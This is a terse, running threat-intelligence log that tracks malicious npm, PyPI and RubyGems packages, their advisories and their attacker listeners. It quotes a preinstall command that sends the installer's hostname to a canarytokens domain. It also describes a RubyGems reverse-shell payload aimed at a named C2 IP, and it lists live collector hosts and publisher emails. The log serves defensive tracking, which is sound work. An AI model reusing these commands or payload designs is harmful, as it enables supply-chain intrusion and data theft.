across two sweeps, controls 17779/17802/17803 live = HIGH-WATER HOLDS 17803 RESUME 17804 (forty-fifth+forty-sixth control sweeps); aliases STILL None on 17803+16533 ~8h post-twin modified frozen 17:30:47Z = alias lane sat out four hourly cycles; GHSA malware listing head UNCHANGED since GHSA-8chm 18:30:23Z ~8h. HEADLINE = NEW PAGE orderly-plugin-liquidity-heatmap (curated PR #1621 + this wiki forensics): publisher dumtban DEX-plugin costume, 0.0.0-stage->1.0.6 SIX versions 3h (13:11:40-16:05:29Z), 1.0.6 published AFTER the PR (15:22:17Z) = advisory-as-build-trigger on the CI-recon class, LIVE zero OSV+GHSA; postinstall CI-gated runner snapshot (GITHUB/ACTIONS_/RUNNER_ key NAMES only, values never read) + OIDC mint probe via ACTIONS_ID_TOKEN_REQUEST_URL status-only + PUT heatmap-setup-report.json into victim default branch with the workflow's own GITHUB_TOKEN + force-push heatmap-setup- tags configured as github-actions[bot]; self-branded proof-of-reach instrument = capability map install->runner-topology->OIDC-mintability->default-branch-write->bot-tag is purchase-ready for a malicious variant, benign signatures are the detection rules NOW (heatmap-setup- tags, heatmap-setup-report.json, 'chore: liquidity-heatmap setup cache refresh [skip ci]', UA liquidity-heatmap-setup, companion repo hashimubadiya14-rgb/asset-tracker-q4vw); 153rd recheck 1.0.6 unchanged ~9.5h post-PR. HEADLINE 2 = util-foriepft (PR #1618): Wix/Thunderbolt costume re-shipped by ORIGINAL account regex33-hackerone (css-overscroll-contain MAL-2026-17705 maintainer, email regex-33@wearehackerone.com on record), 4min10s staging grammar, LIVE ~78h ZERO OSV+GHSA, tarball b207fa29.. = thunderboltRegistry.js file-for-file + esc-beacon + perl fd 0-80 gofer sweep, collector = the fleet's OWN founding dxpoc.gt.tc TCP-000 = account revived dead founding rail; DURABLE: advisories burned names not the account, publisher-keyed watch is the connecting lane; curated-PR-subject zero-machine-record = steady state not latency. FLEET 38th = FULL FOURTEEN-ARM ROSTER RE-ARMS BYTE-IDENTICAL after the fleet-37 12/14 dip; 46ot4ak re-armed at exact first body after ONE dark tick (pessimism-threshold check-#2 rule confirmed on newest account); 4rgpacf6 pair re-armed BOTH, probe-gap CLOSED (187d714jo62z..->glgz + 9q0lp9mr6ek7..->kgjgz, roster closed); personio hrcv3zo9 + dln5e2uv = zjj.. tail family four lanes one check. PROBE-HYGIENE DOUBLE SELF-CAPTURE: prose-completed tokens ARE fabricated tokens (wrong-spelling batch read 1190B stock on five ARMED listeners; pull exact domains programmatically); kam193 Supabase 401 read was /rest/v1/ not baked /functions/v1/save = correct probe GET 404 POST 201 STAGE-5 STILL ACCEPTING ~66h. veai lane = plugin.veai.ru/telemetry PATH not subdomain, stability #8 ~90h. Rails: 64.181.165.115 000 recheck #5 abandonment leading; minhdong 530 third dead; coopeuch/s4yhiitestpoc live ~31h Galicia precedent decays; RubyGems 3-of-24 404 no resquat ~36h. Survivors: py2ops gap ~33.5h; npm half 16th check; npoint 17th pass; GhostAction 27th; goxtools 34th; bucket static ~64h; KEV unchanged 2026.10.08/1739; queue zero advisory merges since #1611, #1590 ~211h. Feeds below bar. No new Shai-Hulud/Mini/TeamPCP above bar. Monitor: 17804+; aliases joins; orderly-plugin post-#1621 iteration-or-silence; fourth regex33 spelling; fleet-39 full-roster #2. See hundred-fifty-second/third sections.) | PRIOR: (OCT 11 ONE-HUNDRED-AND-FIFTIETH SWEEP, ~19:2X-19:5X UTC: OSV +1 CONTIGUOUS MAL-2026-17803 = HIGH-WATER MOVES 17803 RESUME 17804 (published 16:53:56Z all amazon-inspector; 17804+ 302/404; controls 17779/17802 live), AND A CALIBRATION ON THE WALK ITSELF: the 149th read 17803 as 404 ~30 min AFTER its own published stamp = a fresh-adjacent quiet-walk 404 can be CDN staleness not absence, re-probe before trusting a frozen high-water line. HEADLINE = MAL-2026-17803 hridoy-ultimate (npm) =8.0.0: a Facebook chat-client whose 8.0.0 tree bakes apiServer https://minhdong.site in module/config.js (loginHelper.js POSTs FB email+password+TOTP 2FA SECRET to the third party, cookies flow back through it) + unpinned github:VangBanLaNhat/fca-unofficial dep = install/load-time arbitrary code; THIS WIKI pulled 8.0.0 AND live latest 8.0.2 (sha256 49db3a14.., 123 files 33MB, tarball 200, zero hooks): 8.0.2 carries NEITHER behavior and ships the publisher's own ANALYSIS.md lineage audit naming minhdong.site + the unpinned dep as findings NOT merged; 8.0.1/8.0.2 published Oct 9 BEFORE the OSV = the out-of-scope live-latest is version hygiene not advisory-trigger iteration = SCOPE-HYGIENE COUNTERCASE to the malfex/@myorder costume; minhdong.site resolves Cloudflare-v6 but 530 at root AND the baked /api/v1/facebook/login_ios = relay origin dead at check, hunt the relay PATTERN not the domain; publisher alpha-kakashi hridoykhan827642@gmail.com single-package account; 0.0.0-stage+8.0.0 28-s staging grammar. GHSA TWINS 18:30:23Z :30-importer-mark batch (joins 09:30:29/30 + 12:30:31 + 12:31:16 + 15:31:12-14 clocks): GHSA-8chm-j6jp-f4h3 = 17803 (OSV-to-GHSA 1h36m) AND GHSA-m497-v5g4-6c4q = MAL-2026-16533 exodus-firestore-synchronize, an AUG-8 name that lived 4min12s and waited ~64 DAYS for its mirror = the Aug-backlog GHSA-lag pattern re-measured at two months; postinstall whoami+hostname+env-enumeration /TOKEN|SECRET|KEY|AUTH|npm/i to stdout = hollow-name qualification costume, Exodus-name confusion demonstrator, no network sink; aliases None both ~1h. FLEET 35th = NEW ESTATE PEAK FOURTEEN ARMED SEVEN ACCOUNTS (supersedes fleet-32 ten-arm/four): ten-arm core holds FOURTH check byte-identical (8n0l3yjy x5 wave-5 TENTH armed -k-first, Wix x2, 4rgpacf6 x2) + ii473egh zdz5vdmv tick + 675404drak RE-ARMS on BOTH September listeners with the 106th/110th per-listener tails byte-for-byte = tail assignment survives ~5 weeks session cycling + kdroa7s7 .oast.me armed check #2 + FIFTEENTH PREFIX FIRST SIGHTING 46ot4ak.. on the Sep-21 radio-player-theme collector bfuntjuvcnxl.. (~20 days on, never-recorded body) = the FULL historic token roster is the standing probe set. Rails: 185.158.107.175/_ah/dc 200 standing; 64.181.165.115/dc 000 RE-CHECK #2 = rule hardens, sub-day bare-IP rails are not persistence assets; collector.oob.s4yhii 200 + @coopeuch/@s4yhiitestpoc ALL live ~17.5h, Galicia precedent unloaded. RubyGems 24 held names 2-of-24 spot-check API 404 no resquat version; C2 45.138.12.177 ports still closed. react-paginate-v5 PROBE-HYGIENE: doc 200 _rev 4, unpublished block enumerates ONLY 0.0.0-stage while time still lists 99.0.0 + tarball 404 = the deletion record is LOSSY, trust versions+tarball fetch. Survivors: veai stability #5 ~60h; py2ops gap ~25.5h ~57h zero-advisory #1613 ~51h; react-dropzone-v4 PyPI 404 again npm 200 token armed; space-z b196 POST /api/cli/init 200 enrolment live; kam193 Supabase POST 201 + npoint 540314a7 FIFTEENTH pass + pythonanywhere 200; GhostAction :443 TWENTY-FOURTH; goxtools THIRTY-FIRST ~83h; bucket static to the second ~44h counter 403; KEV unchanged 2026.10.08/1739; queue zero merges since #1611, #1590 ~199h; feeds below bar (JFrog research root back 200). No new Shai-Hulud/Mini/TeamPCP above bar. Monitor: 17804+ with control; aliases joins 17803/16533; fourteen-arm peak durability; 46ot4ak/675404drak body-stability; minhdong revival/relay successor; coopeuch purge-or-ride; full 24-name resquat sweep; veai #6; #1590. See hundred-fiftieth section.) | PRIOR: (OCT 11 ONE-HUNDRED-AND-FORTY-EIGHTH SWEEP, ~15:2X-15:5X UTC: OSV +44 CONTIGUOUS MAL-2026-17759-17802 = HIGH-WATER MOVES 17802 RESUME 17803 (largest single-sweep move since the 116th +31; published 13:45:11-14:01:05Z all amazon-inspector; split: 17759-63 @coopeuch scope, 17764-66 @s4yhiitestpoc, 17767-78 eleven npm singles, 17779-17802 = 24 RubyGems gems; 17803+ 404; aliases None ~1.5h). HEADLINE = THE 45.138.12.177 C2 RETURNS AS A SUCCESSOR FLEET: 24 RubyGems crypto-utility gems all 0.9.1, version_created_at inside an 83-SECOND scripted window 06:52:40-06:54:02Z, templated ' maintainers' + 'Lightweight, dependency-free helpers' metadata, zero typosquats; hd-wallet-generator-0.9.1.gem captured (sha256 8fe9f4d0.., NO execution): extconf.rb five-gate anti-analysis wrapper (CI-env/ephemeral-host/generated-user/analysis-path/uptime>1800s + dev-signals .ssh|.gitconfig|.npmrc|.gem|.bundle) -> base64 payload double-fork setsid daemonize randomized 20-40min sleep eval /bin/sh-over-TCP reconnect loop to 45.138.12.177:8089 then NORMAL create_makefile('bitcoin_rpc_lite_native') = THE OCT-5 WALLET GUARD/wgkit FLEET'S OWN BUILD-NAME; the Oct-5 nine-minute post-advisory counter-forensics hot-fix IS THIS FLEET'S SHIPPED BASELINE (+2 new gates) = counter-forensics-as-feature confirmed one campaign later; DURABLE: A C2 IS A CAMPAIGN ASSET - infrastructure-keyed consumers see ONE continuous actor across a full re-launch (five independent overlaps: IP+port, makefile build-name, gate grammar, payload shape, sleep shape; formal identity unproven), name-keyed consumers saw 24 brand-new names; LANES INVERTED vs Oct-5: 24/24 OSV ~7h + 24-record same-second GHSA batch 15:31:12-14Z ~8.5h = FIRST COMPLETE FORWARD MIRROR on a RubyGems fleet (the Oct-6 catch-up-bursts model gains its forward counterexample) AND registry action ZERO - ALL 24 LIVE installable dual-advised ~8.6h = mirror completeness != enforcement; C2 BOX FULLY DARK at check (8089 CLOSED 8090 CLOSED 8080/w connection-fails was ARMED at the 90th, 8092 refused) = 24 live beacons on a dead listener, resurrection risk if re-deployed same socket, version >0.9.1 = re-arm vector; hunt grammar = IP union + bitcoin_rpc_lite_native + gate grammar + 20-40min sleep + metadata template (grammar hunting is the continuity channel across re-launches, NOT an advisory-blindness fallback) | SAME 15:31Z GHSA BATCH MIRRORED 12 npm NAMES: the ten Oct-9 purged names (ksp-app, ksp-client-registry, deposit-limit-fe, pay-methods-kmf, nested-lib, some-very-long-package-name, nitro-bundled-dep, nitro-cjs-requirer, another-very-long-name, cloudflare_module) + LIFERAY-WORKSPACE-SCRIPTS GHSA-p862-3rvq-8852 ~63h after the npm name went live = wave-5 npm-side record finally closes while both p8y53/z00f collectors answer ARMED (collector outlives package again) + react-paginate-v5; :30/:31 importer clock biggest batch yet (36 records two seconds, ~90min OSV-to-GHSA, gems 8.5-8.75h = ~8 hourly slots = batch position). npm cohort forensics: SIX rail names (another-very-long-name, cloudflare_module, nested-lib, nitro-bundled-dep, nitro-cjs-requirer, some-very-long-package-name) beacon 185.158.107.175:8787/ah/dc (GET 200 ok, POST 200 at check) = rail spans NINE names, ALL SIX unpublished Oct 10 00:24Z +/-2s with OSV published TODAY 13:51-13:58Z = deleted ~13.5h BEFORE records existed = per-COHORT not per-name scan gap, advisory-keyed consumers never saw them; NEW bare-IP RAIL 64.181.165.115/dc: deposit-limit-fe + ksp-app + ksp-client-registry + pay-methods-kmf (prebuilt prebuilds/linux-x64/addon.node, POST grammar h=&u=&p=&r= leaking npm_config_registry internal-registry exposure), all four purged EMPTY-versions shells; pay-methods-kmf also DNS-beacons db4jlbku53082dmp0d7g3mffj7s7aordk.oast.me which answers ARMED 72-B interactsh-class body kdroa7s7.. = FOURTEENTH tracked account prefix, first .oast.me sighting since the 133rd vendor-ID rule, live collector on a purged name. s4yhii FAN-OUT (three accounts one collector): @coopeuch maintainer s4yhii___ jesus.lujan.m@uni.pe (5 names created Oct 11 02:08Z, 57-s publish window, ALL LIVE) + @s4yhiitestpoc maintainer s4yhii__ jesusitpro22@gmail.com (3 names LIVE) + Oct-8 @galicia-toolkit s4yhii = one-underscore-underscore family sharing collector https://collector.oob.s4yhii.com/npm-poc/beacon (nameserver lane on record at 66.94.100.203), postinstall full host-identity harvest (hostname/user/uid/homedir/interfaces+MAC/DNS/reverse-DNS/CI markers/npm_config/container indicators); EIGHT names LIVE ~13.5h with the Galicia purged-in-65-min precedent unloaded = enforcement-selectivity test running; curated PR #1620 filed the s4yhiitestpoc pair 14:33Z while OSV minted them 13:58Z = MACHINE LANE BEAT CURATED ~26 min same-actor, clock-verified. REACT-PAGINATE-V5: react-dropzone-v4 grammar CLONED within 11 h (created 06:39:35Z, 0.0.0-stage + 99.0.0 34s apart, nslookup 2chsn9exkdupkr3cxed7vp7sk.canarytokens.com preinstall, token verified LIVE 301, bane1010 self-label verbatim) then BOTH versions unpublished 06:54:45Z ~15 min = second CanaryTokens arrival in two days, deleted-before-advisory (OSV ~7h post-death, GHSA 15:31Z), canarytokens resolver-log hunt now a two-token corpus, monitor bane1010-class re-fires. FLEET 33rd: TEN-ARM PEAK HOLDS second check - wave-1 three 8n0l3yjy..jj/jk/jlgigz, wave-5 pair EIGHTH consecutive armed under -k-first, Wix pair both armed, one-off 4rgpacf6 pair continuous, ii473egh ~25-day tick, control stock 1190B. Survivors: veai stability #3 135.106.213.120 telemetry 405-GET app 200 zero-advisory ~52h #1617 ~47h; py2ops 2.3.1 gap ~21h zero-advisory ~53h #1613 ~47.5h; space-z b196 405-GET; kam193 PROBE-POINT: BAKED npoint route api.npoint.io/40e32d283a9d97e59252/a UNCHANGED 540314a7.. 32290B THIRTEENTH consecutive pass while the SUFFIX-LESS route serves DIFFERENT bytes 7c4b03ef.. 32296B (double-fetch stable) = npoint root-document vs // are different artifacts, disposition the EXACT baked path or score a phantom mutation; Supabase GET 404/POST 201, webreader/pafer ~52h, pythonanywhere 200; GhostAction 443 TCP-OPEN TWENTY-SECOND; goxtools 403 TWENTY-NINTH ~73h; deleted-unadvised PyPI +30h; npm half THIRTEENTH live check; bucket 3.8.4/3.8.5 unchanged to the second ~30h counter 3.8.6 403; KEV JSON-verified unchanged 2026.10.08/1739. Queue zero merges since 1611, open 1612-1621 (+1618 util-foriepft, +1619 pxnpm update, +1620 s4yhiitestpoc, +1621 orderly-plugin-liquidity-heatmap), #1590 ~191h ~8d. Feeds all below bar (StepSecurity site head GhostAction on-wiki feed flapping, U42/Wiz/MSFT unchanged, JFrog research feed route 404 carried). No new Shai-Hulud/Mini/TeamPCP above bar. Monitor: 17803+ with control; aliases joins across the +44; the 24 gems LIVE clock + any >0.9.1 re-arm + registry action; 45.138.12.177:8089/:8080 return (resurrection on 24 live packages); coopeuch/s4yhiitestpoc purge-or-ride (Galicia 65-min precedent); collector.oob.s4yhii.com + canarytokens tokens 2chsn9ex/hzbvy3cm resolver sightings; 64.181.165.115/dc + kdroa7s7.. oast.me liveness; kam193 baked-path stage next hash; ten-arm streak #3 / wave-5 streak #9; react-paginate-v5 holder/re-registration; veai #4; #1590. See hundred-forty-eighth section.) | PRIOR: (OCT 11 ONE-HUNDRED-AND-FORTY-SEVENTH SWEEP, ~13:2X-13:4X UTC: OSV QUIET 17759-60-65/70/80 ALL 404 = HIGH-WATER HOLDS 17758 RESUME 17759 (forty-third control sweep; controls 17756 pafer/17757 webreader/17758 react-dropzone-v4 live; 17758 aliases None ~3h post-twin = 4x the arsya record-merge benchmark; 17752-17757 ~25h; GHSA type=malware listing head unchanged GHSA-7945-qpg8-rjvv ~4h = zero new malware GHSAs). HEADLINE FLEET 32nd = THE ESTATE PEAKS AND THE CERT-FINGERPRINT WATCH CLOSES NEGATIVE: full-roster -k GETs answer TEN ARMED LISTENERS ACROSS FOUR ACCOUNTS AT ONE CHECK (wave-1 canonical three 8n0l3yjy..jjgigz/jkgigz/jlgjgz + wave-5 pair ..jngigz/jogigz SEVENTH consecutive armed under -k-first hygiene, no false-dark + Wix pair BOTH armed, orj3tao0 RE-ARMED after a SINGLE dark check = fastest measured dark-to-armed return in the pair-asymmetry class + one-off pair 4rgpacf6 continuous + ii473egh ~25-day tick) SUPERSEDING THE FLEET-24 SIX-ARM PEAK, while wave-5 PyPI spellings stay deleted (+28h) and the npm half runs its TWELFTH live check; openssl same-check: wave-1 canonical three (SAME 8n0l3yjy ACCOUNT as wave-5) present CN=.oastify.com while wave-5 pair presents CN=.burpcollaborator.net = ONE ACCOUNT TWO CERT SUBJECTS ONE CHECK = the legacy cert does NOT cluster per account, it tracks listener/session provisioning state; DURABLE (closing the 146th watch): cert subject is NOT a second fingerprint, body prefix stays the only durable Burp-lane cluster key, exit:60 false-dark rule stands on its own hygiene value. react-dropzone-v4: npm dual-advised LIVE ~6h, tarball 200, token still armed; FIRST PYPI-SIDE PROBE simple+JSON BOTH 404 = NO PYPI COUNTERPART = ABSENCE not deletion (no baseline ever recorded a PyPI spell), load-bearing against the self-label: a dependency-confusion POC WITHOUT the higher-priority-registry artifact is npm-only theater, the squat still collects real hostnames; PyPI APPEARANCE under this name now a first-class monitor; probe-hygiene: pypi.org/project/ HTML route answered 200 Challenge-Page even for a guaranteed-nonexistent control name = Cloudflare-challenged at this check, simple+JSON authoritative. veai CONSOLIDATED-IP STABILITY #2: plugin+app both still single 135.106.213.120, telemetry 405-GET app 200 steady ~2h armed; 0.3.2 zero-advisory ~50h #1617 ~45h. Survivors: py2ops 2.3.1 gap ~19.2h zero-advisory ~51h #1613 ~45.5h; space-z b196 405-GET apex 410 split unchanged; webreader/pafer ~50h; kam193 rails ~56h (Supabase POST 201, npoint 540314a7 TWELFTH pass, pythonanywhere 200); GhostAction 443 TWENTY-FIRST; goxtools TWENTY-EIGHTH ~71h; myorder ~42h; kmf ~39h; bucket 3.8.4/3.8.5 unchanged to the second ~28h counter 403; KEV unchanged 2026.10.08/1739. Queue zero merges since 1611, 1590 ~189h. Feeds all below bar (U42 head Web3-C2 Oct 7 unchanged, StepSecurity site head GhostAction-Returns already on-wiki + feed route flapping, JFrog research feed route 404 carried, Wiz/MSFT below bar). No new Shai-Hulud/Mini/TeamPCP above bar. Monitor: 17759+; aliases join onto 17758; ten-arm peak durability + wave-5 streak #8 under -k; Wix pair-2 armed-stability #2; cert-subject per-listener stability re-score; react-dropzone-v4 npm disposition + PYPI-SIDE APPEARANCE; bane1010 re-fire; veai stability #3; py2ops 2.3.2-or-silence; #1590. See hundred-forty-seventh section.) | PRIOR: (OCT 11 ONE-HUNDRED-AND-FORTY-SIXTH SWEEP, ~11:2X-11:5X UTC: OSV QUIET 17759-17780 = HIGH-WATER HOLDS 17758 RESUME 17759 (forty-second control sweep; probes 17759/60/61/62/64/66/70/80 all 404 direct-ID, 17759 twice; controls 17756 pafer / 17757 webreader live). HEADLINE = THE GHSA TWIN FOR 17758 ARRIVED AND ONLY THE TYPE=MALWARE LISTING WALK COULD SEE IT: GHSA-7945-qpg8-rjvv critical published 09:30:26Z scope = 99.0.0 no CVE, while MAL-2026-17758 STILL reads aliases None with modified 08:00:04Z A TIMESTAMP THAT PREDATES THE TWIN = the 130th's load-bearing-walk rule scores on the ledger's fastest-hollow-name record, and the twin's :30 publication stamp joins the recorded importer-batch marks (09:30:29/30 Oct 10, 12:30:31 Oct 10, 12:31:16 Oct 9) so the 1h55m OSV-to-GHSA gap = batch position (OSV 07:35Z missed the next hourly slot), publish-to-GHSA end-to-end 2h19m; scope CLEAN (live latest in scope, modified unmoved, no v5/v3 sibling squats, downloads unindexed) = dual-advised-live, holder-wave candidacy upgraded, Dependabot blindness window measured ~2h. STATE CHANGE: @veai-ru/ai-agent C2 RE-ARMED AT A MIGRATED IP - telemetry back 405-GET + app 200 at ~4h dark (hours-scale re-arm precedent holds) BUT both names now resolve a SINGLE 135.106.213.120 vs dark-window pair 158.160.61.112/178.154.228.84 = dark windows can CONTAIN re-provisioning, the 144th/145th DNS-unchanged read SUPERSEDED as sufficient; DURABLE: hunt/block keys = domains + UNION of all observed IPs, deny .veai.ru by name; package live 0.3.2 zero-advisory ~48h #1617 ~43h. NEW PROBE-HYGIENE CLASS = TLS FALSE-DARK: wave-5 Burp listeners p8y53/z00f answer curl exit:60 zero-bytes under strict HTTPS because they now serve the legacy CN=.burpcollaborator.net cert (valid Feb 18 2026 - Mar 21 2027) which cannot match .oastify.com, while the armed Wix listener same sweep presents CN=.oastify.com normally; -k retry shows BOTH ARMED 55B 8n0l3yjy..jngigz/jogigz byte-identical SIXTH consecutive armed check. DARK TAXONOMY NOW THREE CLASSES: 000 session death (reversible) / 1190B stock catch-all (listener off, reversible) / exit:60 cert-mismatch (PLATFORM CERT-PROVISIONING ARTIFACT, ZERO attacker signal) - ALWAYS -k BEFORE DISPOSITION, exit-60-as-dark would have logged a false dark tick on a six-check armed streak; watch whether the legacy cert clusters per Burp account = free second fingerprint beside the body prefix. Fleet 31st: Wix armed streak, Wix pair-2 orj3tao0 dark tick stock catch-all (pair asymmetry), ii473egh ~25d tick, fabricated controls stock page. Survivors: py2ops 2.3.1 gap ~17.4h zero-advisory ~49h #1613 ~43.5h; space-z b196 405-GET; deleted-unadvised +26h; npm half ELEVENTH live check; webreader/pafer ~48h; kam193 rails ~54h (Supabase POST 201, npoint 540314a7 ELEVENTH pass, pythonanywhere 200); GhostAction 443 TWENTIETH; goxtools TWENTY-SEVENTH ~69h; myorder ~40h; kmf ~37h; bucket canonical ltidi.storage path unchanged to the second ~26h counter 403; aliases None 17752-17757 ~23h + 17758 twin-exists-no-alias; KEV unchanged 2026.10.08/1739. Queue zero merges since 1611, #1590 ~187h. Feeds: StepSecurity feed route back to Not-Found (FLAPPING route - discover via site/sitemap per standing note), U42/MSFT/Wiz/JFrog heads unchanged. No new Shai-Hulud/Mini/TeamPCP. Monitor: 17759+, aliases join onto 17758 (twin exists, arsya joined ~45min, this past it), bane1010 re-fire / -v sibling squats w/ new canary tokens, react-dropzone-v4 npm disposition (dual-advised now), veai 135.106.213.120 stability + next dark's resolves, legacy-cert clustering per account, wave-5 streak #7 under -k, Wix pair-2 re-arm, py2ops 2.3.2-or-silence, #1590. See hundred-forty-sixth section.) | PRIOR: (OCT 11 ONE-HUNDRED-AND-FORTY-FIFTH SWEEP, ~09:2X-09:5X UTC: OSV +1 CONTIGUOUS MAL-2026-17758 = HIGH-WATER MOVES 17758 RESUME 17759 (quiet run closes after forty control sweeps; 17759-17761 404; controls 17756 pafer / 17757 webreader live; aliases None 17752-17757 ~21h post-batch = linkage absent a full day; GHSA twin ZERO, type=malware listing head still the Oct 10 12:30:31Z batch). HEADLINE = REACT-DROPZONE-V4, A CANARYTOKENS.COM COLLECTOR = THE LEDGER'S THIRD OOB VENDOR CLASS IN THE 2026 STREAM: typosquat of react-dropzone (legit 20.1.3), publisher bane1010 waytohacking575@gmail.com single-package account, 0.0.0-stage 07:10:29Z + 99.0.0 07:11:26Z (57s, the whltd1 staging grammar), OSV 07:35:19Z = ~24 MIN publish-to-advisory = fastest hollow-name machine-lane read on the ledger; tarball sha256 1019db8d.. contains ONE FILE, a 401-B package.json whose entire payload is preinstall nslookup $(hostname).hzbvy3cmgred066nig6n3ux0y.canarytokens.com || curl http://../$(hostname) || true = installer-hostname qualification identical in intent to the ltidisafe loaders but delivered to a CANARY token (verified LIVE, resolves 52.18.63.80, 301 on ping path) whose hits MAIL THE TOKEN OWNER; ancestry measured: gh search canarytokens.com --repo ossf/malicious-packages = 30 historical records MAL-2021-1..5 + MAL-2023-801x-804x, first 2026-stream arrival ~3 years dormant; DURABLE: OOB-vendor roster is now Burp Collaborator (armed account body) / Interactsh (reverse-label echo) / CanaryTokens (canary-manager endpoints + mailbox notification) - vendor-ID by page signature before dispositioning, and canary-token attribution is one abuse-query to Thinkst away unlike Burp's reseller chain; self-labeled "Security research - dependency confusion POC" stays NON-EXCULPATORY (real hostnames are being collected either way). CONSOLIDATED 140TH-144TH STATE-ONLY LEDGER: veai C2 DARK TICK #2 (telemetry 000x3 stable IP 158.160.61.112, 443 CLOSED, app 178.154.228.84 000, control 200 = genuine two-host darkening ~2h deep at 145th, DNS unchanged = re-arm watch not takedown; package LIVE 0.3.2 zero-advisory ~46h); py2ops 2.3.1 gap ~15h (>5x prior max) zero-advisory ~47h + 142nd measured DEVICE ENROLMENT 200 {"ok":true,"apiKey":"ptm.."} on b196q82k8891-d while apex stays 410; deleted-unadvised end-state stable +24h; npm wave-5 half TENTH live check; Fleet 30th: wave-5 pair armed byte-identical 5th consecutive, Wix armed, ii473egh ~25d = six-arm state now normative; GhostAction 443 NINETEENTH, goxtools 403 TWENTY-SIXTH ~67h, myorder ~38h, kmf ~35h, npoint 540314a7 unchanged TENTH pass, Supabase POST 201, KEV unchanged 2026.10.08/1739; queue ZERO merges since 1611, 1590 ~185h, machine-lane 24min vs curated-lane 30h+ = ~75x latency spread measured same day; feeds all below bar (StepSecurity head GhostAction Oct 9, JFrog Oct 2, Wiz Red Agent Oct 7, U42 Web3-C2 Oct 7, MSFT block-page, Socket 403); no new Shai-Hulud/Mini/TeamPCP. Monitor: 17759+, GHSA twin for 17758, bane1010 re-fire / sibling react- squats with new canary tokens (hunt .canarytokens.com under squatted names in resolver logs), npm disposition of react-dropzone-v4, veai dark duration, py2ops 2.3.2-or-silence, aliases joins, GhostAction TWENTIETH, #1590. See hundred-forty-fifth section.) | PRIOR: (OCT 10 ONE-HUNDRED-AND-THIRTY-EIGHTH SWEEP, ~19:2X-19:5X UTC: OSV QUIET 17758-17770 = HIGH-WATER HOLDS 17757 RESUME 17758 (thirty-fourth control sweep; controls 17756 pafer / 17757 webreader live; aliases still None 17752-17757 ~10h post-09:30Z-pair). HEADLINE = PY2OPS 2.3.1 81 MIN AFTER 2.3 (uploaded 18:12:11Z, wheel sha256 f89350b9.., ZERO OSV+GHSA ~32h, queue #1613 ~28h unmerged): static diff = remember_word()/recall_word() XOR-persist the unlock phrase under md5(nodename|platform|py2ops) into ~/.python2/state.json + payload path RE-UNLOCKS with the recalled word after _rekey() = SELF-HEAL LOOP END-TO-END (re-register->re-unlock->re-pin, zero user action after any panel wipe); NEW IOC state.json key k hex = post-first-unlock marker, keep whole dir; CADENCE IS THE STORY 1h/25h/81min = operator ships faster than the queue merges; PANEL READ www.space-z.ai 410 Gone AT EVERY PATH on the same Aliyun HK ALB while both baked device subhosts still 405-GET = tenant-level darkening, probe baked subhosts not apex. DELETED-UNADVISED CONFIRMS STABLE: +2h wave-5 PyPI spellings still 404, OSV name-queries STILL {} both, GHSA listing head UNCHANGED since 12:30:31Z batch = no record before OR after deletion; npm half third live check whltd1 7-of-7. FLEET 26th: wave-5 pair dark tick #2 (~2h, inside Wix's own two-dark->re-arm precedent), Wix pair armed streak #3, one-off pair continuous = four armed two accounts byte-identical. kam193 rails unchanged ~38h: webreader/pafer active, Supabase POST 201, npoint 540314a7.. unchanged THIRD pass, pythonanywhere 200. Survivors: GhostAction 443 TWELFTH, goxtools NINETEENTH ~53h, myorder ~24h, kmf empty ~21.5h, KEV unchanged 2026.10.08/1739. Queue 1612/1613/1615/1617 open none merged since 1611, 1590 ~169h. FEEDS: StepSecurity feed route RECOVERED 200 (Not-Found carry closes) all items already on-wiki; JFrog LMCache carried; Socket 403. No new Shai-Hulud/Mini/TeamPCP above bar. Monitor: 17758+, py2ops next-release cadence + 410-spread to device subhosts, wave-5 re-arm tick #3, PyPI re-registration of deleted spellings, advisory backfill, aliases join, GhostAction thirteenth, #1590. See hundred-thirty-eighth section.) | PRIOR: (OCT 10 ONE-HUNDRED-AND-THIRTY-SEVENTH SWEEP, ~17:2X-17:5X UTC: OSV QUIET 17758-17780 = HIGH-WATER HOLDS 17757 RESUME 17758 (thirty-third control sweep; name-query controls 17756 pafer / 17757 webreader live; aliases still None 17752-17757 ~8-9.5h post-GHSA). HEADLINE = THE ENFORCEMENT INVERSION: the two wave-5 unscoped PyPI spellings liferay-workspace-scripts + library-shell (created 09:15-09:17Z by whltd1) are DELETED ON PyPI (simple 404 + JSON 404) after ~9h ZERO-OSV-ZERO-GHSA live, AND OSV NAME-QUERIES STILL RETURN {} FOR BOTH = deleted WITHOUT ever drawing a record; the 136th's widest-advisory-blind-spot read is SUPERSEDED: the advisory and enforcement lanes are independent clocks in BOTH directions (136th: advised-and-live = action trails record; 137th: deleted-unadvised = action precedes/ignores record); advisory-keyed blocklists NEVER saw either name, registry-state diffing saw the whole lifecycle. npm half UNCHANGED: @library-wide/library-shell + liferay-workspace-scripts npm latest 99.9.1 tarballs 200, whltd1 fleet 7-of-7 LIVE. PY2OPS ITERATED UNDER ZERO ADVISORY: 2.3 published 16:58:01Z ~25min old at read, wheel sha256 06a84365.., ZERO OSV+GHSA ~30h (ig-gox OSV arrived +9h); static diff vs 2.2.1: NEW rekey() silently re-registers a fresh apiKey on panel 401/403 + retry-once, AND the python2 config command (only surface showing linked server+key) is DELETED = self-healing + anti-inspection while curated #1613 sits 26h unmerged; space-z.ai panel first geo read: both hosts on Aliyun Hong Kong ALB (47.x pool), /api/cli/init 405-GET = POST rail live. PRIORITY-WATCH: tensorlake repo cleanup CONFIRMED (payload files off main, revert PR #1016 merged Oct 8 04:32:11Z, registry-!= -repo watch closes at ~27h+ dirty); durable adds: hostage token literal name IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner on the victim npm account (one-grep IoC) + monitor paths ~/.config/gh-token-monitor/, MITRE ATT&CK S9043 Mini Shai-Hulud with G1056 TeamPCP now BASELINE, Tenable iteration table Shai-Hulud Sep25->SHA1-Hulud Nov25->SANDWORM_MODE Mar26->Mini Apr26. FLEET 25th: wave-5 pair DARK after ~80h armed (session-teardown class, re-arm watch armed), Wix pair armed streak #2, one-off pair continuous = four armed two accounts; bare 8n0l3yjy catch-all = account alive. kam193 rails unchanged: webreader/pafer active ~36h differential, Supabase POST 201, npoint 540314a7.. unchanged, pythonanywhere 200. Survivors: GhostAction 443 ELEVENTH, goxtools 403 EIGHTEENTH ~51h, myorder ~22h, kmf empty ~20h, KEV unchanged 2026.10.08/1739. Queue 1612/1613/1615/1617 open none merged since 1611, 1590 ~167h. Feeds below bar (Socket 403, StepSecurity feed Not-Found, JFrog Oct 2, Wiz Oct 7). Monitor: 17758+, later advisory backfill for the two deleted PyPI names, PyPI re-registration watch, wave-5 re-arm, py2ops 2.3 clock + possible 2.4, Wix 